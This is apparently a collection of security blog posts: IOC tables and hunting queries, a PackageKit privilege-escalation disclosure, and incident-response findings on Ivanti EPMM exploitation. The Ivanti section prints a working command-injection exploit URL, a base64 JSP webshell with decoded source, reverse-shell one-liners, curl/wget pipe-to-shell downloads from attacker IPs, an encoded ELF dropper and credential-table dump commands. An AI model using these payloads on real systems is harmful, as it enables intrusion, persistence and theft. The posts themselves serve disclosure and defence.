Domain	`assetscrm-04-6532d8371b2a.herokuapp.com`	C2 domain
Domain	`erpapp-091-e00eb01e7fba.herokuapp.com`	C2 domain
Domain	`clientportal-43-98f1d0f4b8d9.herokuapp.com`	C2 domain
Domain	`erpapp-071-00266c67b940.herokuapp.com`	C2 domain
User-Agent string	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36`	User-Agent string used for C2 communication
Directory	`\Users\<USERNAME>\AppData\Local\Temp\cf`	Directory which contains Cloudflare Tunnel files
SHA-256	`4578bc4b0b5eab3ac6e38d71bc1a086593b118c8bb221161d3fd27c5f5d00ea6`	Decoy document `2026_NDA_Datenschutzrichtlinie.docx`
SHA-256	`ee6c8422e4e723fe408ef6bbacfa852ae372e99ddf79e2fe38920017ec5e7674`	Decoy document `ROSSMANN_Kandidatenbrochure.docx`
SHA-256	`1067ffcb2b3f50d3769d05389e5d384abccc274c5433ee0fb27f6616dbf7d2c6`	Powershell script for tunnel start, `cloudflared-start.ps1`
SHA-256	`e00a9e9fed12f8a8f5703539c4662750dd5472d35c16dcbbdc5869f3fe5e238b`	Cloudflare tunnel executable, `cloudflared.exe`
File name	`Dienstangebot_<LAST NAME>_<FIRST LETTER FIRST NAME>_<DATE>.zip`	Naming pattern of downloaded ZIP archive
Scheduled Task	`<VICTIM-ID>c582`	Backdoor persistence
Mutex	`Global\<VictimID>`	Mutex created by backdoor
Email address	`elisabeth.muehlbacher@steinersearch.at`	known sender address
Email address	`marlies.hoermann@steinersearch.at`	known sender address
Email address	`caroline.hoeller@steinersearch.at`	known sender address
Email address	`maria.schroeder@alpentalent.at`	known sender address
Email address	`daniela.weiss@alpentalent.at`	known sender address
Email address	`michaela.jaeger@alpentalent.at`	known sender address
Email address	`petra.schoepf@alpentalent.at`	known sender address
Email address	`anna.gruber@headmatch.at`	known sender address

Please also visit the CERT.at website for additional IOCs.

Threat Hunting

The following queries for Microsoft Defender can be used to identify possible affected systems:

// Search for spearphishing emails:
let phishing_domains = dynamic(["steinersearch.at", "alpentalent.at", "headmatch.at"]); 
EmailEvents
| where (SenderFromDomain in (phishing_domains) or RecipientDomain in (phishing_domains)) 
or Subject contains " - Jobangebot: "

// Search for ZIP archives:
DeviceProcessEvents //DeviceFileEvents
| where FileName startswith "Dienstangebot_" and FileName endswith "-26.zip"

//Search for malicious URLs in Emails:
EmailUrlInfo
| where Url contains "herokuapp.com" and Url contains "vertrag"

//Search for Cloudflare tunnel software network communication:
DeviceNetworkEvents
| where InitiatingProcessFileName has "cloudflared"

MITRE ATT&CK Mapping

ID	Name
T1573	Encrypted Channel
T1071.001	Web Protocols
T1059.001	PowerShell
T1204.002	Malicious File
T1053.005	Scheduled Task
T1027	Obfuscated Files or Information
T1090.002	External Proxy
T1105	Ingress Tool Transfer
T1547.001	Registry Run Keys / Startup Folder
T1566.002	Spearphishing Link
T1082	System Information Discovery
T1041	Exfiltration Over C2 Channel

Pack2TheRoot (CVE-2026-41651): Cross-Distro Local Privilege Escalation Vulnerability

2026-04-22T00:00:00+00:00

Today we publicly disclose a high-severity vulnerability (CVSS 3.1: 8.8) - in coordination with distro maintainers - that affects multiple Linux distributions in their default installations. The Pack2TheRoot vulnerability can be exploited by any local unprivileged user to obtain root access on a vulnerable system.

The vulnerability lies in the PackageKit daemon, a cross-distro package management abstraction layer.

The vulnerability enables an unprivileged attacker to install or remove system packages without authorization. This can be exploited to gain full root access or compromise the system in other ways.

The Pack2TheRoot (CVE-2026-41651) vulnerability was discovered by Deutsche Telekom’s Red Team during targeted research into local privilege escalation vectors on modern Linux systems. PackageKit as a candidate initially caught our attention when we observed that a pkcon install command could install a system package without requiring a password on a Fedora Workstation. Starting in 2025, we began investigating whether this behavior could be abused to achieve arbitrary package installation. By guiding the AI-assisted research into a specific direction (using Claude Opus by Anthropic) we were able to discover an exploitable vulnerability. The finding was manually reviewed and verified before being responsibly reported to the PackageKit maintainers, who confirmed the issue and its exploitability.

Which versions and systems are vulnerable?

All PackageKit versions between >= 1.0.2 and <= 1.3.4 are vulnerable. Since PackageKit 1.0.2 was released over 12 years ago, this leaves a broad attack surface across Linux distributions. Exploitability has been explicitly tested and confirmed on the following distributions in default installations with apt and dnf package manager backends:

Ubuntu Desktop 18.04 (EOL), 24.04.4 (LTS), 26.04 (LTS beta).
Ubuntu Server 22.04 - 24.04 (LTS)
Debian Desktop Trixie 13.4
RockyLinux Desktop 10.1
Fedora 43 Desktop
Fedora 43 Server

It is reasonable to assume that all distributions that ship PackageKit with it enabled are vulnerable. Since PackageKit is an optional dependency of the Cockpit project, many servers with Cockpit installed might be vulnerable as well, including Red Hat Enterprise Linux (RHEL).

The vulnerability is fixed in PackageKit release 1.3.5 and distribution backports. Updates should be available from today 2026-04-22 12:00 CEST.

How to check if your system is vulnerable

It is not sufficient to simply grep through the process list, as PackageKit and Cockpit are not necessarily running as persistent processes as they can be activated on demand through D-Bus. First check if PackageKit is installed on your system and compare it with vulnerable versions, e.g.

dpkg -l | grep -i packagekit or
rpm -qa | grep -i packagekit

Note grep’s -i flag, as the package may be installed in camel case as PackageKit.

To check if the PackageKit daemon is available, run systemctl status packagekit or pkmon. If systemctl shows it as loaded or running or the PackageKit monitor tools show transaction output, the daemon is active and your system is potentially exploitable if unpatched. For PackageKit < 1.3.3 test pkmon, for versions >= 1.3.3 use pkgcli monitor to test for output.

Updated Packages

Despite of the fixed release 1.3.5, multiple Distributions released patched packages. In the following, we link the Distros package overviews, that show Distro specific patched versions.

Debian: https://security-tracker.debian.org/tracker/CVE-2026-41651
Ubuntu: https://bugs.launchpad.net/bugs/cve/2026-41651
Fedora 42 - 44: Fixed in PackageKit-1.3.4-3 https://koji.fedoraproject.org/koji/packageinfo?packageID=5206

Workaround

Disclaimer: The following workaround is provided “as is”, without warranty of any kind, express or implied. Use at your own risk. Test thoroughly in your environment before deploying to production systems.

This workaround has the sideffect that GUI software centers (GNOME Software, etc.) will no longer be able to install packages. Users must use sudo yum/dnf install from the terminal. Package installs via yum/dnf are unaffected since they don’t use PackageKit.

Systems that do not have an available patch, can be secured by deploying a PolicyKit rule file as a workaround. For polkit 0.106+ place a rulefile in /etc/polkit-1/rules.d/49-workaround-cve-2026-41651.rules:

// CVE-2026-41651 workaround: immediately deny PackageKit install actions
// without dispatching to an authentication agent.
// This prevents the transaction flag race by ensuring the polkit denial
// arrives before the scheduler's idle callback can fire.

polkit.addRule(function(action, subject) {
    if (action.id === "org.freedesktop.packagekit.package-install-untrusted" ||
        action.id === "org.freedesktop.packagekit.package-install" ||
        action.id === "org.freedesktop.packagekit.package-reinstall" ||
        action.id === "org.freedesktop.packagekit.package-downgrade" ||
        action.id === "org.freedesktop.packagekit.system-update") {

        // Allow root (uid 0) — needed for legitimate admin operations
        if (subject.uid === 0) {
            return polkit.Result.YES;
        }

        // Deny all non-root users immediately (no agent interaction)
        return polkit.Result.NO;
    }
});

Indicators of compromise (IOC)

Even though the vulnerability is reliably exploitable in seconds, it leaves traces that serve as a strong indicator of compromise. After successful exploitation, the PackageKit daemon hits an assertion failure and crashes. Systemd recovers the daemon on the next D-Bus invocation, preventing a denial-of-service, but the crash is observable in the system logs:

# journalctl --no-pager -u packagekit | grep -i emitted_finished
Apr 18 09:56:36 Rocky10 packagekitd[2082]: PackageKit:ERROR:../src/pk-transaction.c:514:pk_transaction_finished_emit: assertion failed: (!transaction->priv->emitted_finished)
Apr 18 09:56:36 Rocky10 packagekitd[2082]: Bail out! PackageKit:ERROR:../src/pk-transaction.c:514:pk_transaction_finished_emit: assertion failed: (!transaction->priv->emitted_finished)

Technical Details

The vulnerability is a time-of-check-time-of-use (TOCTOU) race condition in PackageKit’s D-Bus transaction handling.

PackageKit and Transaction Flags

PackageKit is a D-Bus system service that runs as root and delegates authorization to polkit. When a client wants to install a package, it creates a transaction object over D-Bus and calls a method such as InstallFiles(flags, [path]).

The flags parameter is a bitfield that controls the transaction’s behavior. Certain flag values (such as SIMULATE and ONLY_DOWNLOAD) cause PackageKit to skip polkit authorization entirely, because the operations they represent are considered safe: they should never modify the system.

The Root Cause

The core issue is that PackageKit’s transaction handler unconditionally overwrites the cached transaction flags on every InstallFiles call, without verifying the transaction’s current state. There is no guard ensuring the transaction is still in its initial state. A second call on the same transaction can overwrite the flags even after the transaction has already been authorized and is running.

PackageKit’s state machine does have a guard against backward state transitions, but it rejects them silently. The flag overwrite happens before the state transition is attempted, so the corrupted flags remain in effect while the transaction continues to run.

When the transaction is eventually executed, the scheduler reads the current value of the cached flags. If the safety flags have been stripped by a subsequent call, the backend performs a real operation instead of the originally authorized safe one.

GLib Event Loop Ordering

A key property that makes this exploitable is GLib’s main loop priority system: D-Bus messages are dispatched at a higher priority than idle callbacks. The scheduler executes transactions through idle callbacks, which means any pending D-Bus message is always processed first. This creates a reliable window for the flag overwrite to land before the transaction actually executes.

Proof-of-Concept

We have developed a working proof-of-concept that reliably exploits this vulnerability to achieve root code execution from an unprivileged local user on default installations of various distributions. However, the PoC code is not being shared publicly at this time for obvious reasons.

Credits

A huge thank you goes to PackageKit maintainer Matthias Klumpp (@ximion), for addressing this vulnerability quickly by creating a patch and for coordinating communication with the distribution maintainers. The vulnerability has been found and reported by Deutsche Telekom’s Red Team. If you have questions regarding the vulnerability or are interested in our security offerings, including Red Team assessments, feel free to contact [loading (JS)…].

Timeline

2026-04-08: Private report of the vulnerability to Red Hat (through Fedora) and PackageKit project
2026-04-10: Acknowledgement of receipt and plausibility of the vulnerability by PackageKit maintainer
2026-04-13: First draft of private patch by PackageKit maintainer Matthias Klumpp (@ximion)
2026-04-15: Informed Canonical about the issue
2026-04-15: Shared patch with Red Hat and Canonical
2026-04-19: Privately informed distribution vendors through distros mailing list, shared patch and publication date
2026-04-21: Reaffirmed the publication date with distribution maintainers
2026-04-22: PackageKit patch release and public disclosure through oss-security mailing list and this blog post.
2026-04-22: Got CVE-2026-41651 assigned
2026-04-23: Public exploit available on GitHub
2026-04-29: Updated blog article with technical details and propose for workaround

Advisories

GitHub Security Advisory GHSA-f55j-vvr9-69xv
CVE-2026-41651

The images in this article are free to use, as long as a reference to this blog post is provided. A SVG version of the Pack2TheRoot Logo is also available.

Mass exploitation of CVE-2026-1281 and CVE-2026-1340 in Ivanti EPMM

2026-03-03T00:00:00+00:00

In early 2026, two critical zero-day vulnerabilities in Ivanti’s mobile device management platform - CVE-2026-1281 and CVE-2026-1340 - emerged as significant drivers of incident activity across multiple sectors. Both flaws, rated CVSS 9.8 (critical), allow unauthenticated remote code execution, enabling attackers to compromise Ivanti Endpoint Manager Mobile (EPMM) appliances and potentially pivot into broader enterprise environments. These vulnerabilities were disclosed by Ivanti on January 29, 2026, alongside emergency mitigation guidance.

The German Federal Office for Information Security (BSI) subsequently issued a warning highlighting widespread exploitation of these issues in the wild and urging operators to assess and respond to potential compromises using updated detection scripts and indicators of compromise.

Last week, our Incident Response team was engaged in multiple incidents involving active exploitation of these vulnerabilities across different customer environments. In several cases, threat actors had already established persistence and initiated post-exploitation activities.

This post consolidates key findings derived from our incident response engagements related to CVE-2026-1281 and CVE-2026-1340. It provides insights into observed attacker tradecraft and initial access patterns. Since the initial vulnerability disclosure, a saturated threat landscape has evolved. Multiple threat actors / botnets have since established persistence, creating a high level of background noise. Therefore we’re avoiding attribution and detailed analysis and instead focus on documentation about our findings.

How the exploit works

Both CVE-2026-1281 and CVE-2026-1340 are critical pre-authentication Remote Command Execution (RCE) vulnerabilities with a CVSS score of 9.8. The vulnerabilities used in ongoing exploitation campaigns are caused by unsafe handling of attacker-controlled input in a server-side Bash script. In plain terms: an internet-exposed EPMM web endpoint forwards parts of an incoming request into a script, and due to a shell-evaluation bug, that input can be interpreted as code — so the device ends up running commands the attacker chooses.

The vulnerable bash scripts are /mi/bin/map-appstore-url and /mi/bin/map-aft-store-url. Both are called when specific HTTP endpoints are requested. As Watchtowr described in a blog post, a vulnerable HTTP endpoint corresponds to the pattern: /mifs/c/appstore/fob/3/<int>/sha256:<something1>/<something2>.ipa. For example, a working exploit request looks like this:

/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue  ,
et=1337133713,h=gPath[`sleep 5`]/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa

The parameters st, and h are not chosen arbitrarily, but are crafted specifically for exploitation. The exact mechanism how the exploit works is described in depth by Watchtowr. For now, the key takeaways are:

The value of the st argument corresponds to an existing variable name in the bash script. Specifically, theValue holds the value of the last argument passed to the bash script. Furthermore, gPath also corresponds to an existing variable in the bash script, though its value does not matter for the exploit to work.
The key detail of the exploit is that at some point in the vulnerable bash script, the value theValue is evaluated as a bash expression. For the above example, this means that gPath[`sleep 5`] is evaluated, causing bash to execute the inner command sleep 5 in an attempt to calculate an array index that can be used to access gPath. Since the inner command is provided by the attacker, this results in arbitrary command execution.

None of the above steps require authentication. This means that the vulnerability can be exploited by anyone who is able to connect to vulnerable appliances, for example via the internet. Moreover, following release of example exploit requests, threat actors rapidly adopted the exploit in various malicious activities.

What we observed

During our investigation across multiple Ivanti EPMM environments, we identified consistent exploitation attempts targeting CVE-2026-1281 and CVE-2026-1340. The observed activity aligns with publicly reported in-the-wild exploitation and demonstrates behavior ranging from opportunistic scanning and remote code execution (RCE) validation to advanced post-exploitation actions.

1. Initial Exploitation and RCE Validation

We observed HTTP requests targeting known vulnerable endpoints associated with the Apache RewriteMap bash injection flaw. Payloads were embedded directly within GET parameters, consistent with command injection exploitation patterns.

The injected commands were primarily designed to validate successful remote code execution. Commonly observed commands included:

id
whoami
hostname
passwd
wget
ps
echo-based output redirection
sleep and true for timing and execution control
rm commands for cleanup of temporary artifacts

In several cases, command output was redirected into web-accessible paths under the Tomcat webroot, including:

/mi/.../webapps/mifs/403.jsp
/mi/.../webapps/mifs/401.jsp
/mi/.../webapps/mifs/css/*.css

The redirection of command output into web-accessible directories indicates that command execution was successful rather than limited to reconnaissance scanning.

DNS-based validation activity was also observed. Repeated execution of dig commands targeting attacker-controlled domains suggests OAST-style callback validation of command execution. These DNS lookups were often executed multiple times in short intervals.

2. Webshell Deployment Activity

Multiple indicators were identified that are consistent with JSP webshell deployment in Tomcat web application directories.

A recurring marker string was identified:

class U extends ClassLoader

This string is commonly associated with an in-memory Java class loader webshell. Observed behavior indicates that attackers first checked for the presence of this string within 403.jsp. If absent, Base64-decoded content was appended to the file.

Associated commands included:

grep -q "class U extends ClassLoader" /mi/tomcat/webapps/mifs/403.jsp
base64 -d >> /mi/tomcat/webapps/mifs/403.jsp
id > /mi/tomcat/webapps/mifs/403.jsp
xxd -r -p .1 > /mi/tomcat/webapps/mifs/401.jsp

The use of xxd suggests hex-encoded payload staging followed by reconstruction into a JSP file. This indicates deliberate effort to obfuscate payload delivery.

We also observed permission-related commands such as:

chmod +s /usr/bin/env

Indicators point to 403.jsp being used as a webshell location:

Attempted permission manipulation / privilege-related command:
- chmod +s /bin/sh > /mi/tomcat/webapps/mifs/403.jsp
Additionally, we observed an explicit attacker “webshell check + deploy” logic
- Webshell check / conditional append:

if grep -q "class U extends ClassLoader" "/mi/tomcat/webapps/mifs/403.jsp"; 
then echo 1; else echo -n 
PCUhIGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlciB7IFUoQ2xhc3NMb2FkZXIgYykgeyBzdXBlcihjKTsgfSBwdWJsaWM
gQ2xhc3MgZyhieXRlW10gYikgeyByZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoYiwgMCwgYi5sZW5ndGgpOyB9fSBwdWJsaW
MgYnl0ZVtdIHAoU3RyaW5nIG8pIHRocm93cyBFeGNlcHRpb24geyB0cnkgeyBDbGFzcyBqID0gQ2xhc3MuZm9yTmFtZSgic
3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOyByZXR1cm4gKGJ5dGVbXSkgai5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsIFN0
cmluZy5jbGFzcykuaW52b2tlKGoubmV3SW5zdGFuY2UoKSwgbyk7IH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7IENsYXNzIGo
gPSBDbGFzcy5mb3JOYW1lKCJqYXZhLnV0aWwuQmFzZTY0Iik7IE9iamVjdCB0ID0gai5nZXRNZXRob2QoImdldERlY29kZX
IiKS5pbnZva2UobnVsbCk7IHJldHVybiAoYnl0ZVtdKSB0LmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBTdHJpb
mcuY2xhc3MpLmludm9rZSh0LCBvKTsgfX0gJT48JSAgU3RyaW5nIGwgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiayIpOyBp
ZiAobCAhPSBudWxsKSB7IG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKHAobCkpLm5ld0luc3R
hbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTsgfSAlPgo= | base64 -d >> /mi/tomcat/webapps/mifs/403.jsp ; 
chmod +s /usr/bin/env; fi`]/f099583e-9702-4812-b5b5-221d3f3ce33e.ipa

This logic indicates:

The attacker checks whether a specific Java in-memory loader pattern is already present (class U extends ClassLoader)
If not present, the attacker appends Base64-decoded content into 403.jsp
The attacker then attempts to change permissions (chmod +s /usr/bin/env) as a potential privilege-related action

Webshell 403.jsp:

< % !class U extends ClassLoader {
    U(ClassLoader c) {
        super(c);
    }
    public Class g(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }
}
public byte[] p(String o) throws Exception {
    try {
        Class j = Class.forName("sun.misc.BASE64Decoder");
        return (byte[]) j.getMethod("decodeBuffer", String.class).invoke(j.newInstance(), o);
    } catch (Exception e) {
        Class j = Class.forName("java.util.Base64");
        Object t = j.getMethod("getDecoder").invoke(null);
        return (byte[]) t.getClass().getMethod("decode", String.class).invoke(t, o);
    }
} % > < % String l = request.getParameter("k");
if (l != null) {
    new U(this.getClass().getClassLoader()).g(p(l)).newInstance().equals(pageContext);
} % >

The observed backdoors correspond to the 403.jsp described by Defused and 401.jsp described by Palo Alto.

3. Reverse Shell and Interactive Access Attempts

Multiple reverse shell payloads were delivered through command injection. Observed techniques included:

bash -i >& /dev/tcp/<ip>/443 0>&1
/bin/sh -i >& /dev/tcp/<ip>/443 0>&1

Python-based reverse shell using socket connections

export RHOST="86.106.143[.]200";export RPORT=443;python3 -c "import sys,socket,os,pty;
s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]"

nc and ncat interactive shell attempts

4. Payload Retrieval and Tool Deployment

We identified chained command execution used to download and execute remote scripts, including:

curl -fsSL http://45.76.28[.]252:8083/update.sh | sh
wget http://45.76.28[.]252:8083/update.sh -O - | sh

Additionally, we observed telnet-over-curl execution patterns:

curl -Ns telnet://217.148.142[.]48:443 | sh

These command chains are indicative of second-stage payload deployment and remote command execution frameworks.

In one instance, Logs show an echo command used to write/drop the Base64-decoded ELF binary malware payload with hash: 2e29ad27b64874bfcb0c926fa324465243844ca8d36ab2db9ab79cf4d787b513

echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAA
AAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAA
A+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIh
cB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgABu9mUjjBRSInmahBaaipYDwV
ZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FS
IXAeO3/5g== | base64 --decode > sysd && chmod +x sysd && ./sysd

That echo write event was observed across the message log, HTTP request log and access log. Short analysis of this compact malware shows file read/write + dropped files and outbound contact to 217.148.142[.]48, aligning with post-dropper / C2-style behavior.

5. Database Access and Data Collection Attempts

Explicit database export commands targeting Ivanti-related tables were identified:

mysqldump --databases mifs --tables mi_user mifs_ldap_users mifs_ldap_server_config mi_device 
mi_app_setting_entry eas_proxy mi_password_history > /var/www/ext/html/tmp

The targeted tables include user accounts, LDAP configurations, device information, application settings, proxy configuration, and password history. This suggests potential credential harvesting or configuration exfiltration objectives.

Archiving activity was also identified:

tar -czvf /var/www/ext/html/tmpno /mi/files/system

This behavior is consistent with staging system data for potential exfiltration.

6. Webroot Write Validation and Staging

Multiple write tests targeting static asset directories were identified, including:

echo ok1 > /mi/.../webapps/mifs/css/app.css
(id; hostname) > /mi/.../css/bootstrap/1o465S.css
echo ".float-left" > /mi/.../webapps/mifs/css/login.css

Temporary files were created and subsequently removed:

touch /tmp/test files
rm .1
rm staged CSS files

This pattern indicates validation of write capability followed by cleanup to reduce forensic footprint.

7. Observed Activity Patterns

Across the analyzed environments, we observed recurring activity patterns that align with publicly documented exploitation techniques for CVE-2026-1281 and CVE-2026-1340. The activities can be grouped into the following behavioral categories:

Remote Code Execution Validation
Webroot Write Validation
Webshell deployment attempts (401.jsp / 403.jsp).
Reverse shell establishment attempts over TCP/443.
Retrieval and execution of secondary payloads via curl/wget.
Database export attempts and potential data staging.
Cleanup commands and anti-forensic behavior.

What others report

Palo Alto: Critical Vulnerabilities in Ivanti EPMM Exploited

Researchers from Palo Alto reported that exploitation of CVE-2026-1281 and CVE-2026-1340 has been observed across various sectors in the United States, Germany, Australia, and Canada, including state and local government, healthcare, manufacturing, professional and legal services, and high technology. Threat actors are rapidly moving from initial reconnaissance to deploying dormant backdoors to maintain long-term access even after organizations apply patches, indicating a sophisticated and persistent threat.

Specifically, Palo Alto Unit 42 has observed widespread and mostly automated exploitation attempts, including establishing reverse shells, installing web shells, conducting reconnaissance, and downloading malware. Attackers have been observed downloading a Nezha monitoring agent, an open-source server monitoring utility, with specific parameters to fetch from Gitee if the victim’s location is China. Reconnaissance attempts involve injecting “sleep” commands to determine server vulnerability, with a 5-second delay indicating successful RCE. Threat actors attempt to install lightweight JSP web shells (e.g., 401.jsp, 403.jsp, 1.jsp), which can grant administrative control if the web server runs as root.

Observed exploitation attempts include downloading a second-stage payload (the /slt script) to install web shells, cryptominers, or persistent backdoors. Indicators of Compromise (IOCs) include various IP addresses, subdomains (e.g., gobygo[.]net, introo[.]sh, ngrok-free[.]app), and specific file paths for web shells (e.g., /mi/tomcat/webapps/mifs/401.jsp).

Defused: Sleeper Shells: How Attackers Are Planting Dormant Backdoors in Ivanti EPMM

A blog post published by Defused also mentioned the deployment of web shell under the path /mifs/403.jsp. In this case, the payload contained Base64-encoded Java bytecode and worked as an in-memory class loader. To trigger the backdoor function, a specific HTTP header k0f53cf964d387 needs to be passed with the request, which will lead to the decoding and in-memory execution of the malicious payload.

Watchtowr: Someone Knows Bash Far Too Well, And We Love It (Ivanti EPMM Pre-Auth RCEs CVE-2026-1281 & CVE-2026-1340)

Watchtowr published a technical deep-dive into the two vulnerabilities, which stem from improper handling of attacker-controlled input within Bash scripts used by Ivanti EPMM, specifically through arithmetic expansion in the map-appstore-url script. The temporary RPM patches modify Apache HTTPd configurations to replace vulnerable Bash scripts with newly compiled Java classes, specifically AFTUrlMapper.java and AppStoreUrlMapper.java.

The vulnerable Bash scripts, map-appstore-url and map-aft-store-url, were previously invoked by Apache RewriteMap instances. The map-appstore-url script processes parameters from the URL path, including kid, st, et, and h, which are then used in Bash arithmetic expansions. The specific exploitation vector involves injecting a command substitution into the h parameter, which is subsequently referenced by gStartTime during an arithmetic expansion, leading to command execution. The st parameter in the exploit payload requires two padding spaces to bypass a string length validation check.

Ivanti EPMM: Aktive Angriffe über Zero-Day Schwachstellen beobachtet

The German Federal Office for Information Security (BSI) also warned about the two vulnerabilities and noted that active exploitation of the CVEs could have occured since at least summer 2025, with further exploitation by other cyber actors noted shortly after public disclosure on January 29, 2026. BSI also remarked that successful exploitation of these vulnerabilities can lead to the exfiltration of sensitive information, including personal data, device and location data, credentials, and cryptographic keys, as well as potential lateral movement within the connected network.

BSI has confirmed that German organizations have been targeted by attackers exploiting these vulnerabilities, with the Shadowserver Foundation detecting over 20 compromised organizations in Germany alone. Compromised Ivanti EPMM appliances, including those that have reached End-of-Life (EoL), are likely to have been exploited, and operators should assume compromise even if they patched on the day of disclosure.

Attackers have been observed deploying malicious files, such as webshells, in the root, /tmp, and /var/tmp directories, often with one or two-digit filenames and compressed with 7z/LZMA2 algorithms. A persistent webshell was established by attackers using the file favicon.png located at /var/www/ext/html/favicon.png. Observed post-exploitation activities include the use of specific IP addresses (e.g., 161.129.60[.]118, 151.177.78[.]0, 185.212.171[.]137, 185.212.171[.]151, 185.212.171[.]134, 185.212.171[.]156) and a faulty User-Agent Edg/143.0.0.1.

BSI recommends that organizations monitor their entire network for suspicious data traffic or login attempts, not just systems directly connected to Ivanti EPMM, due to potential data exfiltration and lateral movement. BSI has rated the criticality of these vulnerabilities as 3/Orange, indicating that immediate action is required due to the potential for massive disruption to regular operations.

Recommendations

Organizations operating affected Ivanti EPMM instances should immediately apply the latest vendor patches if this has not already been done. Given confirmed in-the-wild exploitation and the likelihood of pre-patch compromise, organizations that updated their systems only after public disclosure should strongly consider conducting a structured compromise assessment.

Guidance and technical indicators published by the German Federal Office for Information Security (BSI), as well as the detection script jointly provided by NCSC-NL and Ivanti, offer a valuable foundation for identifying potential indicators of compromise and validating system integrity.

For organizations that require additional expertise or independent validation, Telekom Security can support organizations with tailored compromise assessments, threat hunting activities, and incident response services to ensure potential persistence mechanisms or lateral movement activities are identified and contained.

IOCs

IOCs can be found here.

Security Content for REDAXO

2025-11-25T00:00:00+00:00

A reflected Cross-Site Scripting vulnerability (CVE-2025-66026) has been identified in the REDAXO Mediapool component. The issue allows arbitrary JavaScript execution in the backend when a user visits a specially crafted link while authenticated.

Details

Product: REDAXO CMS
Affected Version: <= 5.20.0
Fixed Version: 5.20.1
Vulnerability Type: Reflected Cross-Site Scripting (CWE-79)
Risk Level: Moderate
Vendor URL: https://redaxo.org/
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE: CVE-2025-66026

Technical Summary

In the Mediapool view, the request parameter args[types] is injected into an information banner without proper HTML escaping.

Impact

This vulnerability enables JavaScript execution in the backend context of an authenticated user, potentially allowing session hijacking and unauthorized administrative actions.

References

Github Advisory

Timeline

2025-11-11: Vulnerability reported to the vendor via GitHub.
2025-11-25: The vendor has published the GitHub advisory and released the fixed version.
2025-11-25: This blog post was published.

Credits

Holger Fuhrmannek (holger.fuhrmannek@telekom.de)

Multiple vulnerabilities in Janitza UMG 96RM-E

2025-11-04T00:00:00+00:00

Several vulnerabilities were discovered during testing of a Janitza UMG 96RM-E device.

Details

Product: UMG 96RM-E (both 24V and 230V versions)
Affected Version: firmware versions below 3.14
Vulnerability Type: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) (CWE-78), Use of Hard-coded Credentials (CWE-798), Use of a Broken or Risky Cryptographic Algorithm (CWE-327) and Incorrect Permission Assignment for Critical Resource (CWE-732)
Risk Level: Critical
Vendor URL: https://www.janitza.com/
Vendor acknowledged vulnerability: Yes
Vendor Status: Updated firmware available
CVEs: CVE-2025-41709, CVE-2025-41710, CVE-2025-41711, CVE-2025-41712

The vulnerabilities were discovered during testing a device of type UMG 96RM-E. These vulnerabilities in combination allow an unauthenticated remote attacker to fully compromise the system including remote code execution.

It is strongly advised to update to the newest version. The vulnerabilities are fixed in version 3.14. In addition, such devices shall be operated in a closed network protected by a suitable firewall. Network access to the device should be limited to only enable necessary components to access it and protocols not necessary for the operation should be blocked.

CVE-2025-41709: Command injection via Modbus

A high privileged remote attacker can perform a command injection via Modbus to gain read and write access on the affected device. This vulnerability has a CVSSv3.1 Base Score of 9.8 and is rated CRITICAL.

CVE-2025-41710: Use of Hard-coded Credentials

An unauthenticated remote attacker may use hardcoded credentials to get access to the previously activated FTP Server with limited write privileges. This vulnerability has a CVSSv3.1 Base Score of 5.3 and is rated MEDIUM.

CVE-2025-41711: Use of firmware images to extract password hashes and brute force plaintext passwords

An unauthenticated remote attacker can use firmware images to extract password hashes and brute force plaintext passwords of accounts with limited access. This vulnerability has a CVSSv3.1 Base Score of 5.3 and is rated MEDIUM.

CVE-2025-41712: Incorrect Permission Assignment on the device

An unauthenticated remote attacker who tricks a user to upload a manipulated HTML file can get access to sensitive information on the device. This is a result of incorrect permission assignment for the web server. This vulnerability has a CVSSv3.1 Base Score of 6.5 and is rated MEDIUM.

References

Credits

Pascal Dengler (pascal.dengler@telekom.de)
Jan Stohner (jan.stohner@telekom.de)

Multiple vulnerabilities in Kanboard (Exploiting web applications Part II)

2025-06-03T00:00:00+00:00

This article is a continuation of a write-up series, where we discuss web application vulnerabilities found during red team operations. This time, the target was the Kanboard software.

Project Management in Kanboard style

With over 8000 stars on GitHub, Kanboard is one of the most popular applications for organizing projects following the Kanban approach.

During one of our red team assessments, we discovered that our client self-hosts an instance of Kanboard. Since it is open-source, we decided to hunt for vulnerabilities by reading the source code and penetration testing in parallel.

So, it all started with a git clone. We used the ack tool as an in place grep replacement, which helped us find interesting code sections. Browsing through the code leaves the first impression that it is well structured and cleanly written.

Initial access and juicy features

But first, let’s switch to the customer instance again - not having said yet that the good old admin:admin credential set helped us out once again :) We could successfully authenticate as the administrator and thus open us various possibilities to potentially exploit application functionalities.

Having administrative access to the Kanboard instance also gives us lots of interesting information about the target’s project details including network and system configurations. But can we abuse the server? We browse through different projects, boards, comments, item details and uploaded attachments.

One interesting feature of Kanboard is allowing administrators to download the complete SQLite database as a gzip file or upload it to update the database. So we did this: a surprise backup of our target instance. We decompress the downloaded file by executing gzip -d db.sqlite.gz and open it with an SQLite browser.

